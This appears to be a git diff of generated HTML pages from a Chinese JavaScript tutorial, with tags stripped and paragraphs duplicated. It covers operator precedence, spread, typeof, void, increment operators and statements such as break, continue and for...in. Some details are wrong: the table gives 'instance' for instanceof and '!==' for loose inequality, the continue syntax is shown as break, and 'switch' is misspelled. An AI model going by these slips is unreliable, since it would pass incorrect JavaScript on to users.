            一元加法+foo
            一元减法-foo
            更新表达式(前置递增)++foo
            更新表达式(前置递减)--foo
            typeoftypeof foo
            voidvoid foo
            deletedelete foo
            awaitawait foo
            15算术运算符(幂)从右到左foo ** bar
            14算术运算符(乘法)从左到右foo * bar
            算术运算符(除法)foo / bar
            算术运算符(取模)foo % bar
            13算术运算符(加法)从左到右foo + bar
            算术运算符(减法)foo - bar
            12按位左移从左到右foo << bar
            按位右移foo >> bar
            无符号右移... >>> bar
            11小于从左到右foo < bar
            小于等于foo <= bar
            大于foo > bar
            大于等于foo >= bar
            infoo in bar
            instanceoffoo instance bar
            10等号从左到右foo == bar
            非等号foo !== bar
            全等号foo === bar
            非全等号foo !== bar
            9按位与从左到右foo & bar
            8按位异或从左到右foo ^ bar
            7按位或从左到右foo | bar
            6逻辑运算符(逻辑与)从左到右foo && bar
            5逻辑运算符(逻辑或)从左到右foo || bar
            4条件运算符从右到左foo ? foo : bar
            3赋值运算符从右到左foo = bar
            赋值运算符foo += bar
            赋值运算符foo -= bar
            赋值运算符foo *= bar
            赋值运算符foo /= bar
            赋值运算符foo %= bar
            赋值运算符foo <<= bar
            赋值运算符foo >>= bar
            赋值运算符foo >>>= bar
            赋值运算符foo &= bar
            赋值运算符foo ^= bar
            赋值运算符 foo |= bar
            2yield从右到左yield foo
            yield*yield* foo
            1扩展运算符N/A...foo
            0逗号运算符从左到右foo, bar
            +

            运算符优先级

            运算符的优先级决定了表达式中运算执行的先后顺序,优先级高的运算符最先被执行。

            结合性

            结合性决定了拥有相同优先级的运算符的执行顺序。考虑下面这个表达式:

            a OP b OP c
            • 左结合(左到右)相当于把左边的子表达式加上小括号 (a OP b) OP c

            • 右关联(右到左)相当于 a OP (b OP c)

            赋值运算符是右关联的,所以你可以这么写:

            a = b = 5;

            结果:a  和  b  的值都会成为 5。这是因为赋值运算符的返回结果就是赋值运算符右边的那个值,具体过程是:b 被赋值为 5,然后 a 也被赋值为  b=5  的返回值,也就是 5。

            汇总表

            以下示例中使用 foobar 作为演示变量或表达式。

            优先级运算类型关联性运算符示例
            20分组表达式N/A(foo)
            19属性访问器从左到右foo.bar
            属性访问器从左到右foo[bar]
            实例化对象(带参数列表)N/Anew Foo(bar)
            函数调用从左到右foo()
            18实例化对象(无参数列表)从左到右new Foo
            17更新表达式(后置递增)N/Afoo++
            更新表达式(后置递减)N/Afoo--
            16逻辑运算符(逻辑非)从右到左!foo
            按位非~foo
            一元加法+foo
            一元减法-foo
            更新表达式(前置递增)++foo
            更新表达式(前置递减)--foo
            typeoftypeof foo
            voidvoid foo
            deletedelete foo
            awaitawait foo
            15算术运算符(幂)从右到左foo ** bar
            14算术运算符(乘法)从左到右foo * bar
            算术运算符(除法)foo / bar
            算术运算符(取模)foo % bar
            13算术运算符(加法)从左到右foo + bar
            算术运算符(减法)foo - bar
            12按位左移从左到右foo << bar
            按位右移foo >> bar
            无符号右移... >>> bar
            11小于从左到右foo < bar
            小于等于foo <= bar
            大于foo > bar
            大于等于foo >= bar
            infoo in bar
            instanceoffoo instance bar
            10等号从左到右foo == bar
            非等号foo !== bar
            全等号foo === bar
            非全等号foo !== bar
            9按位与从左到右foo & bar
            8按位异或从左到右foo ^ bar
            7按位或从左到右foo | bar
            6逻辑运算符(逻辑与)从左到右foo && bar
            5逻辑运算符(逻辑或)从左到右foo || bar
            4条件运算符从右到左foo ? foo : bar
            3赋值运算符从右到左foo = bar
            赋值运算符foo += bar
            赋值运算符foo -= bar
            赋值运算符foo *= bar
            赋值运算符foo /= bar
            赋值运算符foo %= bar
            赋值运算符foo <<= bar
            赋值运算符foo >>= bar
            赋值运算符foo >>>= bar
            赋值运算符foo &= bar
            赋值运算符foo ^= bar
            赋值运算符 foo |= bar
            2yield从右到左yield foo
            yield*yield* foo
            1扩展运算符N/A...foo
            0逗号运算符从左到右foo, bar
            - + diff --git a/basic-concept/expressions/operators/spread-operator/index.html b/basic-concept/expressions/operators/spread-operator/index.html index f0b54839e..3af573bf5 100644 --- a/basic-concept/expressions/operators/spread-operator/index.html +++ b/basic-concept/expressions/operators/spread-operator/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -41,12 +44,12 @@
            [...str].reverse().join('')
            // 'y\uD83D\uDE80x'

            上面的代码中,如果不用扩展运算,字符串的 reverse 操作就不正确。

            实现 Iterator 接口的对象

            任何 Iterator 接口的对象都可以用扩展运算符转为真正的数组

            var nodeList = document.querySelectorAll('div');
            var array = [...nodeList];

            上面的代码中,querySelectorAll 方法返回的是一个 nodeList 对象。它不是数组,而是一个类似数组的对象。这时,扩展运算符可以将其转为真正的数组,原因在于 NodeList 对象实现了 Iterator。

            对于那些没有部署 Iterator 接口的类似数组的对象,扩展运算符就无法将其转为真正的数组了。

            let arrayLike = {
            '0': 'a',
            '1': 'b',
            '2': 'c',
            length: 3,
            };
            // TypeError: Cannot spread non-iterable object.
            let arr = [...arrayLike];

            上面的代码中,arrayLike 是一个类似数组的对象,但是没有部署 Iterator 接口,扩展运算符就会报错。这时,可以改为使用 Array.from 方法将 arrayLike 转为真正的数组。

            MapSet 结构、Generator 函数

            扩展运算符内部调用的是数据结构的 Iterator 接口,因此只要具有 Iterator 接口,因此只要具有 Iterator 接口的对象,都可以使用扩展运算符,如 Map 结构。

            let map = new Map([
            [1, 'one'],
            [2, 'two'],
            [3, 'three'],
            ]);
            let arr = [...map.keys()]; // [1, 2, 3]

            Generator 函数运行后会返回一个遍历器对象,因此也可以使用扩展运算符。

            var go = function*() {
            yield 1;
            yield 2;
            yield 3;
            };
            -
            [...go()]; // [1, 2, 3]

            上面的代码中,变量 go 是一个 Generator 函数,执行后返回的是一个遍历器对象,对这个遍历器对象执行扩展运算符即可将内部遍历得到的值转为一个数组。

            var obj = { a: 1, b: 2 };
            let arr = [...obj]; // TypeError: Cannot spread non-iterable object
            +
            [...go()]; // [1, 2, 3]

            上面的代码中,变量 go 是一个 Generator 函数,执行后返回的是一个遍历器对象,对这个遍历器对象执行扩展运算符即可将内部遍历得到的值转为一个数组。

            var obj = { a: 1, b: 2 };
            let arr = [...obj]; // TypeError: Cannot spread non-iterable object
            - + diff --git a/basic-concept/expressions/operators/string-operator/index.html b/basic-concept/expressions/operators/string-operator/index.html index f5e4b2567..f866c3ac3 100644 --- a/basic-concept/expressions/operators/string-operator/index.html +++ b/basic-concept/expressions/operators/string-operator/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@
            +
            console.log(foo);
            // "Hello world!"
            - + diff --git a/basic-concept/expressions/operators/the-grouping-operator/index.html b/basic-concept/expressions/operators/the-grouping-operator/index.html index be696f7b2..3753111a9 100644 --- a/basic-concept/expressions/operators/the-grouping-operator/index.html +++ b/basic-concept/expressions/operators/the-grouping-operator/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 分组表达式 - JavaScript Guidebook -
            +
            - + diff --git a/basic-concept/expressions/operators/typeof/index.html b/basic-concept/expressions/operators/typeof/index.html index 744666ee3..ff9b1c670 100644 --- a/basic-concept/expressions/operators/typeof/index.html +++ b/basic-concept/expressions/operators/typeof/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
            typeof String('abc') === 'string';
            // 但不要使用这种形式!

            Boolean

            typeof true === 'boolean';
            typeof false === 'boolean';
            typeof Boolean(true) === 'boolean';
            // 但不要使用这种形式!

            Symbol

            typeof Symbol() === 'symbol';
            typeof Symbol('foo') === 'symbol';
            typeof Symbol.iterator === 'symbol';

            Undefined

            typeof undefined === 'undefined';
            typeof declaredButUndefinedVariable === 'undefined';
            typeof undeclaredVariable === 'undefined';

            Object

            typeof { a: 1 } === 'object';
            // 使用Array.isArray 或者 Object.prototype.toString.call
            // 区分数组,普通对象
            typeof [1, 2, 4] === 'object';
            typeof new Date() === 'object';
            -
            // 下面的容易令人迷惑,不要使用!
            typeof new Boolean(true) === 'object';
            typeof new Number(1) === 'object';
            typeof new String('abc') === 'object';

            Function

            typeof function () {} === 'function';
            typeof class C {} === 'function';
            typeof Math.sin === 'function';
            typeof new Function() === 'function';

            特殊的 null

            typeof null === 'object';
            // 从一开始出现 JavaScript 就是这样的

            在 JavaScript 最初的实现中,JavaScript 中的值是由一个表示类型的标签和实际数据值表示的。对象的类型标签是 0。由于 null 代表的是空指针(大多数平台下值为 0x00),因此,null 的类型标签也成为了 0,typeof null 就错误的返回了 "object"

            ECMAScript 提出了一个修复(通过 opt-in),但被拒绝。这将导致 typeof null === 'object'

            +
            // 下面的容易令人迷惑,不要使用!
            typeof new Boolean(true) === 'object';
            typeof new Number(1) === 'object';
            typeof new String('abc') === 'object';

            Function

            typeof function () {} === 'function';
            typeof class C {} === 'function';
            typeof Math.sin === 'function';
            typeof new Function() === 'function';

            特殊的 null

            typeof null === 'object';
            // 从一开始出现 JavaScript 就是这样的

            在 JavaScript 最初的实现中,JavaScript 中的值是由一个表示类型的标签和实际数据值表示的。对象的类型标签是 0。由于 null 代表的是空指针(大多数平台下值为 0x00),因此,null 的类型标签也成为了 0,typeof null 就错误的返回了 "object"

            ECMAScript 提出了一个修复(通过 opt-in),但被拒绝。这将导致 typeof null === 'object'

            - + diff --git a/basic-concept/expressions/operators/update-expressions/index.html b/basic-concept/expressions/operators/update-expressions/index.html index 2b423a0eb..f33f30686 100644 --- a/basic-concept/expressions/operators/update-expressions/index.html +++ b/basic-concept/expressions/operators/update-expressions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
            // 后自增
            const res = n++;
            console.log(res);
            // 10
            console.log(n);
            // 11

            后自减

            后自减:先赋值,再自减

            let n = 10;
            // 后自减
            const res = n--;
            -
            console.log(res);
            // 10
            console.log(n);
            // 9

            异同对比

            前自增/前自减与后自增/后自减的异同点:

            为什么后自增后自减优先级很高却后操作?

            前置操作返回加(减)1 的值,所以返回对象本身,这是左值(++i,先自增后操作)

            后置操作为右值,同样对其操作数 +1/-1,但操作后产生操作数原来的、未修改的值为表达式的结果(可理解为 i++ 为先操作,后自增)。实际上,由于后自增(减)优先级很高,因此会先自增(减),但在自增(减)前会创建一个副本,用来保存操作数原来的值,操作后会返回副本的值给表达式。

            建议:只有在必要时才使用后置操作符,尽量使用前置操作符。因为前置操作需要做的工作更少,而后置操作必须先保存操作数原来的值,对于 int 型对象和指针,编译器会优化掉这项额外的工作,但对于更多复杂的迭代器类型,这种额外的工作可能会花费更大的代价。

            +
            console.log(res);
            // 10
            console.log(n);
            // 9

            异同对比

            前自增/前自减与后自增/后自减的异同点:

            为什么后自增后自减优先级很高却后操作?

            前置操作返回加(减)1 的值,所以返回对象本身,这是左值(++i,先自增后操作)

            后置操作为右值,同样对其操作数 +1/-1,但操作后产生操作数原来的、未修改的值为表达式的结果(可理解为 i++ 为先操作,后自增)。实际上,由于后自增(减)优先级很高,因此会先自增(减),但在自增(减)前会创建一个副本,用来保存操作数原来的值,操作后会返回副本的值给表达式。

            建议:只有在必要时才使用后置操作符,尽量使用前置操作符。因为前置操作需要做的工作更少,而后置操作必须先保存操作数原来的值,对于 int 型对象和指针,编译器会优化掉这项额外的工作,但对于更多复杂的迭代器类型,这种额外的工作可能会花费更大的代价。

            - + diff --git a/basic-concept/expressions/operators/void/index.html b/basic-concept/expressions/operators/void/index.html index 7cfbda081..7a823e02e 100644 --- a/basic-concept/expressions/operators/void/index.html +++ b/basic-concept/expressions/operators/void/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

            void

            void 运算符能向期望一个表达式的值是 undefined 的地方插入会产生副作用的表达式。

            void 运算符通常只用于获取 undefined 的原始值,一般使用 void(0)(等同于 void 0)。在上述情况中,也可以使用全局变量 undefined 来代替(假定其仍是默认值)。

            console.log(void 0);
            // undefined
            console.log(void 0);
            // undefined

            作用

            替代 undefined

            由于 undefined 并不是一个关键字,其在 IE8- 浏览器中会被重写,在高版本函数作用域中也会被重写;所以可以用 void 0 来替换 undefined

            var undefined = 10;
            console.log(undefined);
            // IE8-浏览器下为10,高版本浏览器下为 undefined
            -
            function t() {
            var undefined = 10;
            console.log(undefined);
            }
            console.log(t());
            // 所有浏览器下都是10

            客户端 URL

            这个运算符最常用在客户端 URL 中,在 URL 中可以写带有副作用的表达式,而 void 则让浏览器不必显示这个表达式的计算结果。例如,经常在 HTML 代码中的 <a> 标签里使用 void 运算符。

            <a href="js:void window.open();">打开一个新窗口</a>

            阻止默认事件

            阻止默认事件的方式是给事件置返回值 false

            //一般写法
            <a href="http://example.com" onclick="f();return false;">文字</a>
            // 等价于
            <a href="js:void(f())">文字</a>
            +
            function t() {
            var undefined = 10;
            console.log(undefined);
            }
            console.log(t());
            // 所有浏览器下都是10

            客户端 URL

            这个运算符最常用在客户端 URL 中,在 URL 中可以写带有副作用的表达式,而 void 则让浏览器不必显示这个表达式的计算结果。例如,经常在 HTML 代码中的 <a> 标签里使用 void 运算符。

            <a href="js:void window.open();">打开一个新窗口</a>

            阻止默认事件

            阻止默认事件的方式是给事件置返回值 false

            //一般写法
            <a href="http://example.com" onclick="f();return false;">文字</a>
            // 等价于
            <a href="js:void(f())">文字</a>
            - + diff --git a/basic-concept/index.html b/basic-concept/index.html index a60334388..673b7a631 100644 --- a/basic-concept/index.html +++ b/basic-concept/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 基本语法 - JavaScript Guidebook -
              +
                - + diff --git a/basic-concept/lexical-grammar/index.html b/basic-concept/lexical-grammar/index.html index 1fa356403..493f5066c 100644 --- a/basic-concept/lexical-grammar/index.html +++ b/basic-concept/lexical-grammar/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/basic-concept/lexical-grammar/lexical-grammar/index.html b/basic-concept/lexical-grammar/lexical-grammar/index.html index 653cfeb6a..9c1fd5ed3 100644 --- a/basic-concept/lexical-grammar/lexical-grammar/index.html +++ b/basic-concept/lexical-grammar/lexical-grammar/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -42,12 +45,12 @@
                // 将被ASI转换为
                a = b;
                ++c;

                当语句中包含行终止符语法的时候(也就是语句后紧跟着换行),将会在行结尾插入一个分号。

                这里没有行终止符 规则的语句有:

                return;
                a + b;
                // 将被 ASI 转换为
                return;
                a + b;
                x;
                ++y;
                // 解析为
                x;
                ++y;
                -
                // 本意
                x++;
                y;

                虽然分号不是必须的,但最好不要省略它,因为加上分号可以避免很多错误,代码行结尾处没有分号会导致压缩错误。加上分号也会在某些情况下增进代码的性能,因为这样解析器就不必再花时间推测应该在哪里插入分号了。

                +
                // 本意
                x++;
                y;

                虽然分号不是必须的,但最好不要省略它,因为加上分号可以避免很多错误,代码行结尾处没有分号会导致压缩错误。加上分号也会在某些情况下增进代码的性能,因为这样解析器就不必再花时间推测应该在哪里插入分号了。

                - + diff --git a/basic-concept/statements-and-declarations/block/index.html b/basic-concept/statements-and-declarations/block/index.html index 3525d7d25..d1f43a0b9 100644 --- a/basic-concept/statements-and-declarations/block/index.html +++ b/basic-concept/statements-and-declarations/block/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 块语句 - JavaScript Guidebook -

                块语句

                块语句(Block)用于组合零个或多个语句。该块由一对大括号 {} 界定,块内形成块级作用域,块作用域内定义的变量将在离开块作用域后立即被回收

                {
                StatementList;
                }

                块级作用域

                ES5  只有 全局作用域函数作用域,没有块级作用域,这带来很多不合理的场景:

                • 内层变量可能会覆盖外层变量
                • 用来计数的循环变量泄露为全局变量。

                因此,ES6  引入了块级作用域,明确允许在块级作用域之中声明函数。在 ES6  的块级作用域之中,函数声明语句的行为类似于  let,在块级作用域之外不可引用;但又有别于 let  命令,允许重复声明同名函数且存在函数变量提升。

                块级作用域中的函数特征:

                • 允许在块级作用域内声明函数。
                • 函数声明类似于 var,即会提升到全局作用域或函数作用域的头部。
                • 内层作用域声明的函数不干扰外层作用域的函数。

                var

                通过 var 声明的变量没有块级作用域。在语句块里声明的变量作用域是其所在的函数或者 <script> 标签内,你可以在语句块外面访问到它。

                换句话说,语句块不会生成一个新的作用域。尽管单独的语句块是合法的语句,但在 JavaScript 中你不会想使用单独的语句块,因为它们不像你想象的 C 或 Java 中的语句块那样处理事物。

                var a = 1;
                {
                var a = 2;
                }
                console.log(a); // 2

                let 和 const

                相比之下,使用  letconst 声明的变量是有块级作用域的。

                let a = 1;
                {
                let a = 2;
                }
                console.log(a); // 1
                const a = 1;
                {
                const a = 2;
                }
                console.log(a); // 1

                注意块级作用域里的常量声明 const c = 2  并不会抛出 SyntaxError: Identifier 'a' has already been declared 这样的语法错误,因为这是一个新的作用域。

                function

                函数声明同样被限制在声明它的语句块内。

                foo('outside'); // TypeError: foo is not a function
                {
                function foo(location) {
                console.log('foo is called ' + location);
                }
                foo('inside'); // 'foo is called inside'
                }
                +

                块语句

                块语句(Block)用于组合零个或多个语句。该块由一对大括号 {} 界定,块内形成块级作用域,块作用域内定义的变量将在离开块作用域后立即被回收

                {
                StatementList;
                }

                块级作用域

                ES5  只有 全局作用域函数作用域,没有块级作用域,这带来很多不合理的场景:

                • 内层变量可能会覆盖外层变量
                • 用来计数的循环变量泄露为全局变量。

                因此,ES6  引入了块级作用域,明确允许在块级作用域之中声明函数。在 ES6  的块级作用域之中,函数声明语句的行为类似于  let,在块级作用域之外不可引用;但又有别于 let  命令,允许重复声明同名函数且存在函数变量提升。

                块级作用域中的函数特征:

                • 允许在块级作用域内声明函数。
                • 函数声明类似于 var,即会提升到全局作用域或函数作用域的头部。
                • 内层作用域声明的函数不干扰外层作用域的函数。

                var

                通过 var 声明的变量没有块级作用域。在语句块里声明的变量作用域是其所在的函数或者 <script> 标签内,你可以在语句块外面访问到它。

                换句话说,语句块不会生成一个新的作用域。尽管单独的语句块是合法的语句,但在 JavaScript 中你不会想使用单独的语句块,因为它们不像你想象的 C 或 Java 中的语句块那样处理事物。

                var a = 1;
                {
                var a = 2;
                }
                console.log(a); // 2

                let 和 const

                相比之下,使用  letconst 声明的变量是有块级作用域的。

                let a = 1;
                {
                let a = 2;
                }
                console.log(a); // 1
                const a = 1;
                {
                const a = 2;
                }
                console.log(a); // 1

                注意块级作用域里的常量声明 const c = 2  并不会抛出 SyntaxError: Identifier 'a' has already been declared 这样的语法错误,因为这是一个新的作用域。

                function

                函数声明同样被限制在声明它的语句块内。

                foo('outside'); // TypeError: foo is not a function
                {
                function foo(location) {
                console.log('foo is called ' + location);
                }
                foo('inside'); // 'foo is called inside'
                }
                - + diff --git a/basic-concept/statements-and-declarations/declarations-and-the-variable-statement/index.html b/basic-concept/statements-and-declarations/declarations-and-the-variable-statement/index.html index d4489a029..1e5145d00 100644 --- a/basic-concept/statements-and-declarations/declarations-and-the-variable-statement/index.html +++ b/basic-concept/statements-and-declarations/declarations-and-the-variable-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -43,12 +46,12 @@
                // 重写对象和上面一样会失败
                c = { OTHER_KEY: 'value' };
                // 对象属性并不在保护的范围内,下面这个声明会成功执行
                c.key = 'otherValue';
                const d = [];
                d.push('A'); // ["A"]
                -
                d = ['B']; // TypeError: Assignment to constant variable.

                变量作用域

                在所有函数之外声明的变量,叫做全局变量,因为它可被当前文档中的任何其他代码所访问。在函数内部声明的变量,叫做局部变量,因为它只能在该函数内部访问。

                ECMAScript 6 之前的 JavaScript 没有 语句块 作用域;相反,语句块中声明的变量将成为语句块所在代码段的局部变量。例如,如下的代码将在控制台输出 5,因为 x 的作用域是声明了 x 的那个函数(或全局范围),而不是 if 语句块。

                if (true) {
                var x = 5;
                }
                console.log(x); // 5

                如果使用 ECMAScript 6 中的 let 声明,上述行为将发生变化。

                if (true) {
                let y = 5;
                }
                console.log(y); // ReferenceError: y is not defined

                变量的数据类型

                详情参考 数据类型


                参考资料:

                +
                d = ['B']; // TypeError: Assignment to constant variable.

                变量作用域

                在所有函数之外声明的变量,叫做全局变量,因为它可被当前文档中的任何其他代码所访问。在函数内部声明的变量,叫做局部变量,因为它只能在该函数内部访问。

                ECMAScript 6 之前的 JavaScript 没有 语句块 作用域;相反,语句块中声明的变量将成为语句块所在代码段的局部变量。例如,如下的代码将在控制台输出 5,因为 x 的作用域是声明了 x 的那个函数(或全局范围),而不是 if 语句块。

                if (true) {
                var x = 5;
                }
                console.log(x); // 5

                如果使用 ECMAScript 6 中的 let 声明,上述行为将发生变化。

                if (true) {
                let y = 5;
                }
                console.log(y); // ReferenceError: y is not defined

                变量的数据类型

                详情参考 数据类型


                参考资料:

                - + diff --git a/basic-concept/statements-and-declarations/index.html b/basic-concept/statements-and-declarations/index.html index 0a6f6a8e9..32ab537e2 100644 --- a/basic-concept/statements-and-declarations/index.html +++ b/basic-concept/statements-and-declarations/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/basic-concept/statements-and-declarations/labelled-statements/index.html b/basic-concept/statements-and-declarations/labelled-statements/index.html index db985cf75..3b0df67ff 100644 --- a/basic-concept/statements-and-declarations/labelled-statements/index.html +++ b/basic-concept/statements-and-declarations/labelled-statements/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                label 语句

                标记语句可以和 breakcontinue 语句一起使用。标记就是在一条语句前面加个可以引用的标识符。

                注意:标记的循环或块非常罕见。通常可以使用函数调用而不是循环跳转。

                语法

                identifier: statement;

                参数

                参数描述
                identifier任何不是保留关键字的 JavaScript 标识符。
                statement语句。break 可用于任何标记语句,而 continue 可用于循环标记语句。

                描述

                • 可使用一个标签来唯一标记一个循环,然后使用 breakcontinue 语句来指示程序是否中断循环或继续执行。

                示例

                标注示例

                • 用作标签的 identifier 必须是一个合法的 JavaScript 标识符,而不能是一个保留字。
                var i, j;
                loop1: for (i = 0; i < 3; i++) {
                // The first for statement is labeled "loop1"
                loop2: for (j = 0; j < 3; j++) {
                // The second for statement is labeled "loop2"
                if (i == 1 && j == 1) {
                continue loop1;
                }
                -
                console.log('i = ' + i + ', j = ' + j);
                }
                }
                +
                console.log('i = ' + i + ', j = ' + j);
                }
                }
                - + diff --git a/basic-concept/statements-and-declarations/the-break-statement/index.html b/basic-concept/statements-and-declarations/the-break-statement/index.html index 9c5a66f13..cf3f6aef5 100644 --- a/basic-concept/statements-and-declarations/the-break-statement/index.html +++ b/basic-concept/statements-and-declarations/the-break-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                break 语句

                break 语句用于立即退出最内层的循环或 switch 语句。

                语法

                break [labelname];

                参数

                参数描述
                labelname与语句标签相关联的标识符。如果 break 语句不在一个循环或 switch 语句中,则该项是必须的。
                • break 语句包含一个可选的标签,可允许程序摆脱一个被标记的语句。break 语句需要内嵌在引用的标签中。被标记的语句可以是任何块语句;不一定是循环语句。
                • break 语句和标签一块使用时,程序将跳转到这个标签所标识的语句块结束,或者直接终止这个闭合语句的执行。

                示例

                代码示例

                var num = 0;
                for (var i = 1; i < 10; i++) {
                if (i % 5 == 0) {
                break;
                }
                num++;
                }
                console.log(num); // 4

                switch 语句

                var str = 'string', variable;
                -
                swtich (str) {
                case 'number':
                variable = 'number';
                break;
                case 'string':
                variable = 'string';
                break;
                case 'boolean':
                variable ='boolean'
                }
                +
                swtich (str) {
                case 'number':
                variable = 'number';
                break;
                case 'string':
                variable = 'string';
                break;
                case 'boolean':
                variable ='boolean'
                }
                - + diff --git a/basic-concept/statements-and-declarations/the-continue-statement/index.html b/basic-concept/statements-and-declarations/the-continue-statement/index.html index 6eebcac6a..128a0db8b 100644 --- a/basic-concept/statements-and-declarations/the-continue-statement/index.html +++ b/basic-concept/statements-and-declarations/the-continue-statement/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + continue 语句 - JavaScript Guidebook -

                continue 语句

                continue 语句用于结束当前(或标签)的循环语句的本次迭代,并继续执行循环的下一次迭代。

                语法

                break [labelname];

                参数

                参数描述
                labelname可选,与语句标签相关联的标识符。

                描述

                • break 语句的区别在于, continue 并不会终止循环的迭代,而是:
                  • while循环中,在循环开始处指定的条件判断语句会重复检测,如果检测结构为 true,循环体会从头开始执行。
                  • do/while 循环中,程序的执行直接跳到循环结尾处,这时会重新判断循环条件,之后才会继续下一次循环。
                  • for 循环中,首先执行更新语句,然后再次执行判断语句,用以判断是否继续执行循环体。
                  • for/in 循环中,循环开始遍历下一个属性名,这个属性名赋给了指定的变量。
                • continue 语句可以包含一个可选的标号以控制程序跳转到指定循环的下一次迭代,而非当前循环。此时要求 continue 语句在对应的循环内部。
                • 不管 continue 语句带不带标签,它只能在循环体内使用。在其他地方使用将会报语法错误。
                • continue 语句和 labelname 之间不能有换行。

                示例

                代码示例

                for 语句中使用 continue

                var num = 0;
                for (var i = 1; i < 10; i++) {
                if (i % 5 == 0) {
                continue;
                }
                num++;
                }
                console.log(num);
                // 8

                while 语句中使用 continue

                i = 0;
                n = 0;
                while (i < 5) {
                i++;
                if (i === 3) {
                continue;
                }
                n += i;
                }
                +

                continue 语句

                continue 语句用于结束当前(或标签)的循环语句的本次迭代,并继续执行循环的下一次迭代。

                语法

                break [labelname];

                参数

                参数描述
                labelname可选,与语句标签相关联的标识符。

                描述

                • break 语句的区别在于, continue 并不会终止循环的迭代,而是:
                  • while循环中,在循环开始处指定的条件判断语句会重复检测,如果检测结构为 true,循环体会从头开始执行。
                  • do/while 循环中,程序的执行直接跳到循环结尾处,这时会重新判断循环条件,之后才会继续下一次循环。
                  • for 循环中,首先执行更新语句,然后再次执行判断语句,用以判断是否继续执行循环体。
                  • for/in 循环中,循环开始遍历下一个属性名,这个属性名赋给了指定的变量。
                • continue 语句可以包含一个可选的标号以控制程序跳转到指定循环的下一次迭代,而非当前循环。此时要求 continue 语句在对应的循环内部。
                • 不管 continue 语句带不带标签,它只能在循环体内使用。在其他地方使用将会报语法错误。
                • continue 语句和 labelname 之间不能有换行。

                示例

                代码示例

                for 语句中使用 continue

                var num = 0;
                for (var i = 1; i < 10; i++) {
                if (i % 5 == 0) {
                continue;
                }
                num++;
                }
                console.log(num);
                // 8

                while 语句中使用 continue

                i = 0;
                n = 0;
                while (i < 5) {
                i++;
                if (i === 3) {
                continue;
                }
                n += i;
                }
                - + diff --git a/basic-concept/statements-and-declarations/the-do-while-statement/index.html b/basic-concept/statements-and-declarations/the-do-while-statement/index.html index 9460b5824..48123efb1 100644 --- a/basic-concept/statements-and-declarations/the-do-while-statement/index.html +++ b/basic-concept/statements-and-declarations/the-do-while-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                do...while 语句

                do...while 语句创建一个执行指定语句的循环,直到 condition 值为 false。在执行 statement 后检测 condition,所以指定的 statement 至少执行一次。

                语法

                do {
                statement;
                } while (expression);

                参数

                参数描述
                statement执行至少一次的语句,并在每次 condition 值为真时重新执行。想执行多行语句,可使用 block语句({ ... })包裹这些语句。
                expression循环中每次都会计算的表达式。如果 condition 值为 truestatement 会再次执行。当 condition 值为 false,则跳到 do...while 之后的语句。

                描述

                • do-while 这种后测试循环语句最常用于循环体中的代码至少要被执行一次的情形。
                • do/while 循环和普通 while 循环之间有两点语法方面的不同之处。
                  • do 循环要求必须使用关键字 do 来标识循环的开始,用 while 来标识循环的结尾并进入循环条件判断。
                  • while 循环不同,do 循环是用分号结尾的。
                  • 如果 while 的循环体使用花括号括起来的话,则 while 循环也不用使用分号做结尾。

                示例

                代码示例

                var i = 0;
                do {
                i += 2;
                } while (i < 10);
                -
                console.log(i); // 10
                +
                console.log(i); // 10
                - + diff --git a/basic-concept/statements-and-declarations/the-for-in-statement/index.html b/basic-concept/statements-and-declarations/the-for-in-statement/index.html index ecd9e52c2..91e930daa 100644 --- a/basic-concept/statements-and-declarations/the-for-in-statement/index.html +++ b/basic-concept/statements-and-declarations/the-for-in-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                Car.prototype = seat;
                var lamborghini = new Car();
                // for...in statement
                for (var prop in lamborghini) {
                if (lamborghini.hasOwnProperty(prop)) {
                console.log(`lamborghini.${prop} = ${lamborghini[prop]}`);
                }
                }
                -
                // Output:
                // "lamborghini.color = red"
                +
                // Output:
                // "lamborghini.color = red"
